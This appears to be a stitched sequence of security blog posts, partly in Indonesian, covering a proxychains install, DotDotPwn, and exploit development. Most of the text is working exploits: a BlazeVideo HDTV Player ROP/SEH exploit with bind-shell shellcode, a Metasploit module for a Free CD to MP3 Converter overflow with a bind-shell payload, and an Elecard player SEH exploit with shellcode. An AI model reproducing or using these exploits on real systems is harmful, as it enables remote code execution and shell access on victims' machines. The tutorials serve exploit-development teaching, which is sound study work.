infidel:build-temp goo$ tar xzvf proxychains-3.1.tar.gz

Download the patch file for Proxychains here (thanks to chrootlabs guy)

infidel:build-temp goo$ wget http://chrootlabs.org/bgt/proxychains-3.1_osx.diff

Patch the Proxychains

infidel:build-temp goo$ patch -p1 &lt;proxychains-3.1_osx.diff

Install the Proxychains

infidel:build-temp goo$ cd proxychains-3.1
infidel:proxychains-3.1 goo$ ./configure --PREFIX=/opt/local
infidel:proxychains-3.1 goo$ cd proxychains
infidel:proxychains goo$ make
infidel:proxychains goo$ sudo make install

Create symbolic links to make it run from anywhere

infidel:proxychains goo$ mkdir ~/.libs
infidel:proxychains goo$ mkdir ~/.proxychains
infidel:proxychains goo$ ln -s /opt/local/lib/libproxychains.3.0.0.dylib ~/.libs/
infidel:proxychains goo$ ln -s /opt/local/etc/proxychains.conf ~/.proxychains/

Now comment out the proxy_dns option in proxychains.conf file (this causes trouble)

infidel:proxychains goo$ sudo nano ~/.proxychains/proxychains.conf

Proxychains should works now, you may test it using lynx

infidel:~ goo$ proxychains lynx ipchicken.com

source: http://touhou.ru/?act=showpost&pid=511

Directory Traversal with DotDotPwn (HTTPS Mode)

This is my experience when I was dealing with some applications which have a Directory Traversal vulnerability. I was using DotDotPwn by nitr0us when finding vulnerability on Quickshare File Server 1.2.1 (on the FTP protocol). I also used DotDotPwn when I was doing a pentest on my client. So, let the experience tell you the story.

Quickshare File Server 1.2.1

First, I download the software here, setup the XP lab machine, download DotDotPwn here, and all preparation should be ready. We must setup the Quickshare File Server to point to our FTP directory, let the user set to “Allow anonymous user”.

More

BlazeVideo HDTV Player 6.x Buffer Overflow (another version)

Hi again, we tried to make a universal DEP and ASLR bypass version on BlazeVideo HDTV Player 6.x. This exploit is already public, but we just want to make it universal.

Take a look at mona.py 🙂 awesome tool developed by corelanc0d3r and his team
So here is the poc, it will bind to port 31337

#!/usr/bin/python

import struct
file = 'blazevideo-universal.plf'

totalsize = 5000
junk = 'A' * 872
align = 'B' * 136

#we don't need nseh
seh = '\x4a\x53\x30\x61'	# ADD ESP,800 # RETN
rop = '\x03\x60\x32\x61' * 10	# RETN (ROP NOP)
rop+= '\x7a\x34\x05\x64' 	# POP EDX # RETN
rop+= '\x08\x11\x01\x10'	# ptr to VirtualProtect()
rop+= '\x03\x05\x01\x64'	# PUSH EDX # POP EAX # POP ESI # RETN
rop+= '\x41\x41\x41\x41'	# Filler
rop+= '\x9f\x94\x60\x61'	# MOV ECX,DWORD PTR DS:[EDX] # POP SOMETHING
rop+= '\x41\x41\x41\x41' * 3	# Filler
rop+= '\x18\x42\x60\x61'	# PUSH ECX # ADD AL,5F # XOR EAX,EAX
rop+= '\x41\x41\x41\x41' * 3	# Filler
rop+= '\xa6\xd1\x03\x64'	# POP EBP # RETN
rop+= '\x41\x41\x41\x41' * 3	# Filler
rop+= '\x5A\x05\x61\x61'	# push esp #  ret 0c
rop+= '\xA8\x3E\x32\x61'	# POP EAX # RETN
rop+= '\x9D\x79\x39\xA1'	# 0x00000501-&gt; ebx
rop+= '\xfc\x03\x02\x64' 	# ADD EAX,5EC68B64 # RETN
rop+= '\x7b\xd3\x63\x61'	# PUSH EAX # ADD AL,5E
rop+= '\x07\x68\x62\x61' 	# XOR EAX,EAX # RETN
rop+= '\xfc\x03\x02\x64' 	# ADD EAX,5EC68B64 # RETN
rop+= '\x7a\x34\x05\x64' 	# POP EDX # RETN
rop+= '\xDC\x74\x39\xA1'	# 0x00000040-&gt; edx
rop+= '\xfb\x07\x31\x61' 	# ADD EDX,EAX # MOV EAX,EDX
rop+= '\xc0\x1f\x60\x61'	# POP ECX # RETN
rop+= '\x40\x03\x35\x60'	# Writable location
rop+= '\x07\x9e\x32\x61'	# POP EDI # RETN
rop+= '\x03\x60\x32\x61'	# RETN (ROP NOP)
rop+= '\x95\x65\x60\x61'	# POP EAX # RETN
rop+= '\x90\x90\x90\x90'	# nop
rop+= '\xF1\x0C\x62\x61'	# PUSHAD # RETN

nop = '\x90' * 32

# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=31337, RHOST=, EXITFUNC=process, 

shellcode = (
"\xdd\xc1\xd9\x74\x24\xf4\xbb\xc4\xaa\x69\x8a\x58\x33\xc9\xb1"
"\x56\x83\xe8\xfc\x31\x58\x14\x03\x58\xd0\x48\x9c\x76\x30\x05"
"\x5f\x87\xc0\x76\xe9\x62\xf1\xa4\x8d\xe7\xa3\x78\xc5\xaa\x4f"
"\xf2\x8b\x5e\xc4\x76\x04\x50\x6d\x3c\x72\x5f\x6e\xf0\xba\x33"
"\xac\x92\x46\x4e\xe0\x74\x76\x81\xf5\x75\xbf\xfc\xf5\x24\x68"
"\x8a\xa7\xd8\x1d\xce\x7b\xd8\xf1\x44\xc3\xa2\x74\x9a\xb7\x18"
"\x76\xcb\x67\x16\x30\xf3\x0c\x70\xe1\x02\xc1\x62\xdd\x4d\x6e"
"\x50\x95\x4f\xa6\xa8\x56\x7e\x86\x67\x69\x4e\x0b\x79\xad\x69"
"\xf3\x0c\xc5\x89\x8e\x16\x1e\xf3\x54\x92\x83\x53\x1f\x04\x60"
"\x65\xcc\xd3\xe3\x69\xb9\x90\xac\x6d\x3c\x74\xc7\x8a\xb5\x7b"
"\x08\x1b\x8d\x5f\x8c\x47\x56\xc1\x95\x2d\x39\xfe\xc6\x8a\xe6"
"\x5a\x8c\x39\xf3\xdd\xcf\x55\x30\xd0\xef\xa5\x5e\x63\x83\x97"
"\xc1\xdf\x0b\x94\x8a\xf9\xcc\xdb\xa1\xbe\x43\x22\x49\xbf\x4a"
"\xe1\x1d\xef\xe4\xc0\x1d\x64\xf5\xed\xc8\x2b\xa5\x41\xa2\x8b"
"\x15\x22\x12\x64\x7c\xad\x4d\x94\x7f\x67\xf8\x92\xb1\x53\xa9"
"\x74\xb0\x63\x37\xec\x3d\x85\xad\xfe\x6b\x1d\x59\x3d\x48\x96"
"\xfe\x3e\xba\x8a\x57\xa9\xf2\xc4\x6f\xd6\x02\xc3\xdc\x7b\xaa"
"\x84\x96\x97\x6f\xb4\xa9\xbd\xc7\xbf\x92\x56\x9d\xd1\x51\xc6"
"\xa2\xfb\x01\x6b\x30\x60\xd1\xe2\x29\x3f\x86\xa3\x9c\x36\x42"
"\x5e\x86\xe0\x70\xa3\x5e\xca\x30\x78\xa3\xd5\xb9\x0d\x9f\xf1"
"\xa9\xcb\x20\xbe\x9d\x83\x76\x68\x4b\x62\x21\xda\x25\x3c\x9e"
"\xb4\xa1\xb9\xec\x06\xb7\xc5\x38\xf1\x57\x77\x95\x44\x68\xb8"
"\x71\x41\x11\xa4\xe1\xae\xc8\x6c\x11\xe5\x50\xc4\xba\xa0\x01"
"\x54\xa7\x52\xfc\x9b\xde\xd0\xf4\x63\x25\xc8\x7d\x61\x61\x4e"
"\x6e\x1b\xfa\x3b\x90\x88\xfb\x69")

sisa = 'C' * (totalsize - len(seh+rop+nop+shellcode))
payload = junk+seh+align+rop+nop+shellcode+sisa

f = open(file,'w')
print "Author: modpr0be"
f.write(payload)
print "File",file, "successfully created"
f.close()

here is the result, tested on Windows 7 SP1:

Porting Your Exploit to Metasploit

Beberapa waktu yang lalu saya udah memberikan tutorial basic exploit development (direct return technique) dan exploit development berbasis SEH. Sekarang mari kita porting exploit tersebut ke Metasploit Framework agar exploit tersebut semakin reliable dan bisa menggunakan macam-macam payload, fitur-fitur canggih yang ada di Metasploit.

Kita akan meng-konversi exploit yang pertama, yaitu Free CD to MP3 Converter. Sebelum itu, kita kumpulkan poin-poin penting yang membuat exploit tersebut berjalan dengan baik, seperti berikut:

junk = "\x41" * 4112                   # jumlah sampah yang dikirim
eip = "\x91\x3b\x43\x00"               # 0x00463b91 FFE4 JMP ESP at cdextract.exe
nops = "\x90" * 16
espdata = "\x90" * (5000 - len(junk+eip+nops)

Dulu saya melakukan proses exploit Free CD to MP3 Converter pada sistem Windows XP SP3 versi NIST FDCC (Federal Desktop Core Configuration), tapi kali ini saya melakukannya pada sistem Windows XP SP3 versi umum, seharusnya ini tidak akan menjadi masalah berarti karena alamat JMP ESP yang saya gunakan kali ini berasal dari module cdextract.exe.

Kita akan coba langsung meng-konversi exploit Free CD to MP3 Converter ke format Metasploit, dan akan saya jelaskan bagian-bagian yang penting. Karena proses eksploitasi Free CD to MP3 Converter menggunakan sebuah file wav (sehingga dikategorikan sebagai file format exploit), maka kita akan menggunakan salah satu exploit dari Metasploit sebagai template, yaitu a-pdf_wav_to_mp3.rb terdapat pada direktori /opt/framework/msf3/modules/exploits/windows/fileformat/

##
# $Id: a-pdf_wav_to_mp3.rb 12196 2011-04-01 00:51:33Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3  'A-PDF WAV to MP3 v1.0.0 Buffer Overflow',
      'Description'    =&gt; %q{
          This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When
        the application is used to import a specially crafted m3u file, a buffer overflow occurs
        allowing arbitrary code execution.
      },
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt;
        [
          'd4rk-h4ck3r', # Original Exploit
          'Dr_IDE',      # SEH Exploit
          'dookie'       # MSF Module
        ],
      'Version'        =&gt; '$Revision: 12196 $',
      'References'     =&gt;
        [
          [ 'OSVDB', '67241' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/14676/' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/14681/' ]
        ],
      'DefaultOptions' =&gt;
        {
          'EXITFUNC' =&gt; 'seh',
          'DisablePayloadHandler' =&gt; 'true',
        },
      'Payload'        =&gt;
        {
          'Space'    =&gt; 600,
          'BadChars' =&gt; "\x00\x0a",
          'StackAdjustment' =&gt; -3500
        },
       'Platform' =&gt; 'win',
       'Targets'        =&gt;
            [
              [ 'Windows Universal', { 'Ret' =&gt; 0x0047265c, 'Offset' =&gt; 4132 } ],     # p/p/r in wavtomp3.exe
            ],
       'Privileged'     =&gt; false,
       'DisclosureDate' =&gt; 'Aug 17 2010',
       'DefaultTarget'  =&gt; 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
      ], self.class)

  end

  def exploit

    sploit = rand_text_alpha_upper(target['Offset'])
    sploit &lt;&lt; generate_seh_payload(target.ret)

    print_status(&quot;Creating &#039;#{datastore[&#039;FILENAME&#039;]}&#039; file ...&quot;)

    file_create(sploit)

  end

end

Bagian yang perlu diperhatikan adalah:

  • include Msf::Exploit::FILEFORMAT

    bagian ini menandakan bahwa exploit ini termasuk dalam fileformat exploit.

  • Payload

    bagian ini berisi space, badchars, dll

  • Targets

    bagian ini berisi offset

  • def exploit

    bagian ini berisi urutan eksploitasi.

Mari kita gabungkan informasi yang kita miliki diawal kedalam contoh exploit yang sudah ada.

##

##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3  'Free CD to MP3 Converter 3.1 Buffer Overflow',
      'Description'    =&gt; %q{
          This module exploits a buffer overflow in Free CD to MP3 Converter 3.1. When
        the application is used to import a specially crafted m3u file, a buffer overflow occurs
        allowing arbitrary code execution.
      },
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt;
        [
          'C4SS!0 G0M3S', # Original Exploit
          'modpr0be'       # MSF Module
        ],
      'References'     =&gt;
        [
          [ 'OSVDB', '69116' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/15480/' ],
        ],
      'DefaultOptions' =&gt;
        {
          'EXITFUNC' =&gt; 'process',
          'DisablePayloadHandler' =&gt; 'true',
        },
      'Payload'        =&gt;
        {
          'Space'    =&gt; 800,
          'BadChars' =&gt; "\x00\x0a\x1a\x0f",
          'StackAdjustment' =&gt; -3500
        },
       'Platform' =&gt; 'win',
       'Targets'        =&gt;
            [
              [ 'Windows XP Universal', {
                    'Ret' =&gt; 0x00463B91,     # perintah JMP ESP yang akan menimpa EIP.
                    'Offset' =&gt; 4112 } ],    # jmp esp in cdextract.exe, jumlah offset yang dicapai untuk menimpa EIP
            ],
       'Privileged'     =&gt; false,
       'DisclosureDate' =&gt; 'Nov 10 2010',
       'DefaultTarget'  =&gt; 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
      ], self.class)

  end

  def exploit

    sploit = rand_text_alpha(target['Offset'])
    sploit &lt;&lt; [target.ret].pack(&#039;V&#039;)
    sploit &lt;&lt; make_nops(32)
    sploit &lt;&lt; payload.encoded
    sploit &lt; 0x00463B91

adalah perintah JMP ESP yang akan menimpa EIP.

Offset =&gt; 4112

adalah jumlah offset yang dicapai untuk menimpa EIP 🙂

Lalu bagian paling penting dari script tersebut, yaitu def exploit;

rand_text_alpha(target['Offset']

bagian ini adalah function dari Metasploit untuk men-generate sejumlah karakter alphanumeric sesuai dengan Offset yang telah kita tentukan di option Target sebelumnya. Setelah offset memenuhi stack dengan jumlah 4112 bytes, maka kita juga sudah tahu bahwa setelah itu EIP akan tertimpa sebanyak 4 bytes, sehingga option berikutnya [target.ret].pack(‘V’) memanggil alamat Ret => 0x00463B91 yang telah kita tentukan sebelumnya dan segera menimpa EIP. Setelah itu

make_nops(32)

akan menciptakan Nopsled sebanyak 32 bytes agar menjadi ‘landasan kosong’ sebelum mencapai shellcode. Bagian berikutnya,

payload.encoded

adalah function dari Metasploit untuk men-generate payload yang biasa kita gunakan pada Metasploit (misal: set payload windows/shell_bind_tcp). Terakhir, saya menambahkan Nopsled untuk melengkapi buffer yang saya kirim sebelumnya agar mencapai 5000 bytes (sesuai dengan buffer yang saya kirim sebelumnya). Lalu function

file_create(sploit)

menulis variable sploit dan menciptakan file msf.wav.

Simpan file diatas dengan nama freecdmp3_bof.rb dan copy ke folder /opt/framework/msf3/modules/exploits/windows/fileformat/ agar dapat digunakan oleh Metasploit. Berikut penggunaannya pada msfconsole:

       =[ metasploit v4.0.1-dev [core:4.0 api:1.0]
+ -- --=[ 738 exploits - 376 auxiliary - 82 post
+ -- --=[ 228 payloads - 27 encoders - 8 nops
       =[ svn r13774 updated yesterday (2011.09.22)

msf &gt; use exploit/windows/fileformat/freecdmp3_bof
msf  exploit(freecdmp3_wav) &gt; info

       Name: Free CD to MP3 Converter 3.1 Buffer Overflow
     Module: exploit/windows/fileformat/freecdmp3_bof
    Version: 0
   Platform: Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  C4SS!0 G0M3S
  modpr0be

Available targets:
  Id  Name
  --  ----
  0   Windows XP Universal

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  msf.wav          no        The file name.

Payload information:
  Space: 800
  Avoid: 4 characters

Description:
  This module exploits a buffer overflow in Free CD to MP3 Converter
  3.1. When the application is used to import a specially crafted wav
  file, a buffer overflow occurs allowing arbitrary code execution.

References:
  http://www.osvdb.org/69116
  http://www.exploit-db.com/exploits/15480/

msf  exploit(freecdmp3_bof) &gt; set payload windows/shell_bind_tcp
payload =&gt; windows/shell_bind_tcp
msf  exploit(freecdmp3_bof) &gt; set lport 4321
lport =&gt; 4321
msf  exploit(freecdmp3_bof) &gt; exploit 

[*] Creating 'msf.wav' file ...
[*] Generated output file /home/tom/.msf4/data/exploits/msf.wav
msf  exploit(freecdmp3_bof) &gt;

Dan ketika di load oleh program Free CD to MP3 Converter, sekilas program akan terlihat ‘hang’ tapi jika kita lihat melalui netstat:

Terdapat port 4321 yang sedang LISTENING. Dan ketika kita melakukan koneksi ke port tersebut:

Kita berhasil mengkonversi exploit yang sudah ada ke dalam Metasploit. Sekarang coba porting exploit berbasis SEH yang kemarin sudah kita kerjakan sama-sama. Selamat mencoba!

SEH Based Stack Overflow – The Basic

Kali ini saya akan coba tehnik lain dari stack overflow, yaitu stack overflow berbasis SEH. Apa itu SEH? silakan dibaca diliteratur-literatur berikut:

Structured Exception Handling
Win32 Exception handling for assembler programmers

Tidak ada yang lebih menyenangkan daripada belajar sambil mencoba. Kita akan mencoba SEH based stack overflow pada program yang pernah di post oleh sickness, yaitu Elecard AVC_HD/MPEG Player. Program Elecard AVC_HD/MPEG Player versi 5.7 menderita buffer overflow ketika mencoba load file .m3u yang ditambahkan sejumlah karakter. Percobaan ini akan dilakukan pada sistem Windows XP SP3 dan menggunakan program seperti pada exploit yang di gunakan oleh sickness, jadi silakan download dulu programnya:

Download Elecard AVC_HD/MPEG Player (via ExploitDB)

Saya berasumsi bahwa teman-teman sudah membaca tulisan saya sebelumnya Exploit Development: Basic Stack-based Overflow sehingga sudah tahu apa yang perlu dipersiapkan. Secara teori, SEH based overflow memerlukan trik khusus karena kita berhadapan dengan Exception Handling. Ketika program crash (karena buffer overflow), EIP tidak langsung tertimpa dengan buffer/junk yang kita kirim, tapi mengarahkan kita ke exception handling. Kita hanya perlu memastikan bahwa alamat SE Handler juga tertimpa dengan buffer yang kita kirimkan, sehingga ketika exception handling diteruskan, maka akan membawa kita ke EIP. Kedengarannya sangat rumit, tapi tenang, semuanya akan terlihat lebih mudah apabila mencoba langsung.

Confirm the BUG and Adjust the Enemy Line

Setelah diinstall, jalankan Elecard AVC_HD/MPEG Player dan attach ke Immunity Debugger. Lalu kita buat script yang membuat Elecard AVC_HD/MPEG Player crash.

#!/usr/bin/python

file = 'crash-elecard.m3u'
header = '#EXTM3U'
junk = 'A' * 25000

f = open(file,'w')
print "Payload size: ", len(header+junk)
f.write(header+junk)
print "File",file, "successfully created"
f.close()

Jalankan scriptnya dan buka dengan Elecard AVC_HD/MPEG Player. Perhatikan apa yang terjadi pada debugger.

Terlihat bahwa register EBP dan ESI tertimpa dengan 0x41414141, artinya saat ini buffer kita ada di kedua register tersebut. Tekan Alt-S untuk melihat window SEH Chain dan terlihat SE Handler tertimpa juga dengan 0x41414141.

Selanjutnya kita harus mencari jumlah byte yang tepat untuk menimpa alamat SE Handler (masih ingat tutorial sebelumnya?!). Kita dapat menggunakan program Metasploit untuk melakukan hal tersebut (good exercise right?!).

POP POP RETN, is it for our movie?

Setelah itu kita perlu mencari deretan perintah (sequence of commands) POP [REG]+POP [REG]+RETN dan melanjutkan exception sehingga program akan mengarah pada deretan perintah POP [REG]+POP [REG]+RETN. Mengapa kita perlu deretan perintah tersebut? Kalau saya jelaskan sekarang nanti tambah rumit, lebih baik saya jelaskan sambil mencoba.

Kita bisa mencari alamat POP [REG]+POP [REG]+RETN dengan perintah Ctrl+S dan menuliskan sebagai berikut:

dan menemukan alamat POP EDI + POP EBX + RETN pada alamat 0x7394D3D2 (module D3DIM700.dll) berikut:

Kita update script skeleton exploit yang sudah kita buat:

#!/usr/bin/python

file = 'crash-elecard.m3u'
header = '#EXTM3U'
junk = 'A' * 4 + 'C' * 4 + '\xD2\xD3\x94\x73' + 'D' * 24988

f = open(file,'w')
print "Payload size: ", len(junk)
f.write(header+junk)
print "File",file, "successfully created"
f.close()

Jalankan lagi exploit diatas, (masih ingat kenapa alamat POP POP RET ditulis terbalik?!) jalankan juga program Elecard AV_HD/MPEG Player dan attach ke debugger. Load lagi file .m3u tersebut dan kali ini perhatikan pada SE Handler:

Lakukan Breakpoint dengan menekan F2 pada alamat tersebut, lalu tekan Shift+F9 untuk meneruskan exception. Dapat terlihat bahwa EIP sekarang terisi oleh alamat POP [REG]+ POP [REG] + RETN yang telah kita tentukan, dan aliran eksekusi program sekarang berubah ke alamat POP EDI + POP EBX + RETN (perhatikan bahwa nilai EIP saat ini sama dengan nilai pada alamat POP EDI + POP EBX + RETN)

Perhatikan, register ESP tidak menunjuk pada stack, sementara kita membutuhkan ESP untuk menunjuk ke alamat stack agar kita bisa mengeksekusi shellcode nanti. Lalu apa yang bisa kita perbuat? jika kita perhatikan, pada baris ketiga jendela stack, terdapat alamat yang merujuk pada buffer yang kita kirimkan sebelumnya, yaitu 0x0012C73C, hey! bukankah itu alamat Next SEH (Pointer to Next SEH)?! Lalu bagaimana caranya agar ESP menunjuk ke alamat tersebut?

Disinilah peran POP EDI + POP EBX + RETN. Perintah POP EDI akan mengambil baris pertama pada stack kedalam register EDI, perintah POP EBX juga mengambil alamat pada baris kedua dalam stack ke dalam register EBX , selanjutnya perintah RETN akan kembali menunjuk pada ESP , Voila! Sampailah kita pada alamat buffer yang kita kirimkan sebelumnya.

Pada saat ini, register EIP pun menunjuk ke alamat baru, yaitu 0x0012C73C, perlu diingat bahwa ini adalah alamat Next SEH dan EIP menunjuk perintah selanjutnya yaitu, 0x43434343 pada alamat 0x0012C73C.

Sejauh ini, dapat kita simpulkan sebagai berikut:

Alamat 0x0012C740 adalah alamat SE Handler, sedangkan pada alamat 0x0012C744 (yang berisi karakter ‘D’) merupakan buffer yang bisa kita gunakan untuk mengeksekusi shellcode. Terdapat masalah disini, karena kita harus melewati alamat SE Handler yang berisi perintah RCL BL, CL, XCHG EAX, ESP dan JNB SHORT 0012C789, kenapa perlu dilewati? karena berpotensi merusak proses yang sudah kita kerjakan sejauh ini 🙂

Bagaimana caranya?

JMP SHORT 0xDREAMLAND

Salah satu tehnik yang bisa digunakan adalah short jump, literatur short jump bisa dilihat pada website berikut: Using SHORT (Two-byte) Relative Jump Instructions

Kita akan lompat sejauh 8 bytes dari posisi terakhir 0x0012C73C, sehingga akan mendarat pada alamat 0x0012C746. Kita update lagi script skeleton exploit:

#!/usr/bin/python

file = 'crash-elecard.m3u'
header = '#EXTM3U'
junk = 'A' * 4 + '\xeb\x08\x90\x90' + '\xD2\xD3\x94\x73' + 'D' * 24988

f = open(file,'w')
print "Payload size: ", len(junk)
f.write(header+junk)
print "File",file, "successfully created"
f.close()

Perhatikan bahwa saya menambah alamat ‘\xeb\x08\x90\x90’, yaitu untuk loncat sejauh 8 bytes, sedangkan ‘\x90’ adalah nop untuk melengkapi 2 bytes agar tidak terisi dengan ‘\x00’. Jalankan script tersebut, lalu load lagi file m3u-nya. Lakukan breakpoint pada alamat SE Handler, lalu teruskan exception dengan menekan Shift+F9. Lalu tekan F7 untuk Follow perintah POP EDI, POP EBX, dan RETN. Perhatikan ketika RETN terjadi, alamat EIP merujuk kembali ke alamat 0x0012C73C dan pada alamat tersebut sudah menunggu perintah JMP SHORT yang telah kita tentukan tadi (\xeb\x08\x90\x90), tekan F7 untuk Follow dan perhatikan:

Alamat EIP mendarat tepat pada alamat 0x0012C746 yang berarti kita telah melewati alamat SE Handler. Apabila karakter ‘D’ (\x44) kita ganti dengan shellcode, maka shellcode akan tereksekusi setelahnya.

Finalized the Exploit

Mari kita ganti karakter ‘D’ yang kita gunakan sebagai junk dengan shellcode, saya akan menggunakan shellcode untuk memanggil program Calculator (calc.exe), dan kita rapikan skeleton exploit yang sudah kita buat sejauh ini:

#!/usr/bin/python

file = 'crash-elecard.m3u'
header = '#EXTM3U'

# msfpayload windows/exec cmd=calc R |
# msfencode -a x86 -b "\x00\x0a\x0d\x25\x68\x08\x20" -t c
# x86/call4_dword_xor succeeded with size 220 (iteration=1)
shellcode = ("\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xeb\x9c\x9e\xf1\x83\xee\xfc\xe2\xf4\x17\x74\x17\xf1\xeb\x9c"
"\xfe\x78\x0e\xad\x4c\x95\x60\xce\xae\x7a\xb9\x90\x15\xa3\xff"
"\x17\xec\xd9\xe4\x2b\xd4\xd7\xda\x63\xaf\x31\x47\xa0\xff\x8d"
"\xe9\xb0\xbe\x30\x24\x91\x9f\x36\x09\x6c\xcc\xa6\x60\xce\x8e"
"\x7a\xa9\xa0\x9f\x21\x60\xdc\xe6\x74\x2b\xe8\xd4\xf0\x3b\xcc"
"\x15\xb9\xf3\x17\xc6\xd1\xea\x4f\x7d\xcd\xa2\x17\xaa\x7a\xea"
"\x4a\xaf\x0e\xda\x5c\x32\x30\x24\x91\x9f\x36\xd3\x7c\xeb\x05"
"\xe8\xe1\x66\xca\x96\xb8\xeb\x13\xb3\x17\xc6\xd5\xea\x4f\xf8"
"\x7a\xe7\xd7\x15\xa9\xf7\x9d\x4d\x7a\xef\x17\x9f\x21\x62\xd8"
"\xba\xd5\xb0\xc7\xff\xa8\xb1\xcd\x61\x11\xb3\xc3\xc4\x7a\xf9"
"\x77\x18\xac\x81\x9d\x13\x74\x52\x9c\x9e\xf1\xbb\xf4\xaf\x7a"
"\x84\x1b\x61\x24\x50\x6c\x2b\x53\xbd\xf4\x38\x64\x56\x01\x61"
"\x24\xd7\x9a\xe2\xfb\x6b\x67\x7e\x84\xee\x27\xd9\xe2\x99\xf3"
"\xf4\xf1\xb8\x63\x4b\x92\x8a\xf0\xfd\xf1")

junk = 'A' * 4
nseh = '\xeb\x08\x90\x90'
seh = '\xD2\xD3\x94\x73'
nops = '\x90' * 16
sisa = 'D' * (20000 - len(junk+nseh+seh+nops+shellcode))

payload = header+junk+nseh+seh+nops+shellcode+sisa

f = open(file,'w')
print "Payload size: ", len(payload)
f.write(payload)
print "File",file, "successfully created"
f.close()

Dan hasilnya:

Eksploitasi berbasis SEH berhasil kita lakukan. Akan tidak mudah memahaminya dalam satu kali putaran (jika ada yang bisa, saya salut dengan Anda karena saya sendiri perlu 2-3 kali percobaan baru paham :D), dan percobaan ini bisa menjadi dasar latihan untuk aplikasi yang lain, biar semakin mahir dan terasah.

Akhir kata, selamat mencoba 🙂

Referensi

MSF PostgresQL Problem on BT5

If you read this post then I bet you have the same problem with me. When I tried to run the msfconsole on my BT5 I have this buggy information.

[-] Failed to connect to the database:
could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 7175?

Seems that the MSF could not connect to Postgres database server. I tried to install the Postgres server inside my BT5 and still have no luck. So I starting to search over the internet and found the solution for this problem. Here are the solution.

rm /opt/framework3/postgresql/data/postmaster.pid
rm /opt/framework3/postgresql/.s.PGSQL.7175
rm /opt/framework3/postgresql/.s.PGSQL.7175.lock
/etc/init.d/framework-postgres start

Then, try to run the msfconsole again.

NOTICE:  CREATE TABLE will create implicit sequence "api_keys_id_seq" for serial column "api_keys.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "api_keys_pkey" for table "api_keys"
NOTICE:  CREATE TABLE will create implicit sequence "macros_id_seq" for serial column "macros.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "macros_pkey" for table "macros"
NOTICE:  CREATE TABLE will create implicit sequence "cred_files_id_seq" for serial column "cred_files.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "cred_files_pkey" for table "cred_files"
NOTICE:  CREATE TABLE will create implicit sequence "listeners_id_seq" for serial column "listeners.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "listeners_pkey" for table "listeners"
NOTICE:  CREATE TABLE will create implicit sequence "nexpose_consoles_id_seq" for serial column "nexpose_consoles.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "nexpose_consoles_pkey" for table "nexpose_consoles"
NOTICE:  CREATE TABLE will create implicit sequence "profiles_id_seq" for serial column "profiles.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "profiles_pkey" for table "profiles"

______________________________________________________________________________
|                                                                              |
|                   METASPLOIT CYBER MISSILE COMMAND V4                        |
|______________________________________________________________________________|
\                                  /                      /
\     .                          /                      /            x
\                              /                      /
\                            /          +           /
\            +             /                      /
*                        /                      /
/      .               /
X                             /                      /            X
/                     ###
/                     # % #
/                       ###
.       /
.                       /      .            *           .
/
*
+                       *

^
####      __     __     __          #######         __     __     __        ####
####    /    \ /    \ /    \      ###########     /    \ /    \ /    \      ####
################################################################################
################################################################################
# WAVE 4 ######## SCORE 31337 ################################## HIGH FFFFFFFF #
################################################################################

=[ metasploit v4.0.1-dev [core:4.0 api:1.0]
+ -- --=[ 732 exploits - 374 auxiliary - 82 post
+ -- --=[ 227 payloads - 27 encoders - 8 nops
=[ svn r13728 updated today (2011.09.13)

msf &gt; quit

It will create the databases structure. Again run the msfconsole once again to make sure that it connect to the database correctly

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%     %%%         %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %%  %%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %  %%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %%  %%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %%%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%  %%%  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%    %%   %%%%%%%%%%%  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%  %%%  %%%%%
%%%%  %%  %%  %      %%      %%    %%%%%      %    %%%%  %%   %%%%%%       %%
%%%%  %%  %%  %  %%% %%%%  %%%%  %%  %%%%  %%%%  %% %%  %% %%% %%  %%%  %%%%%
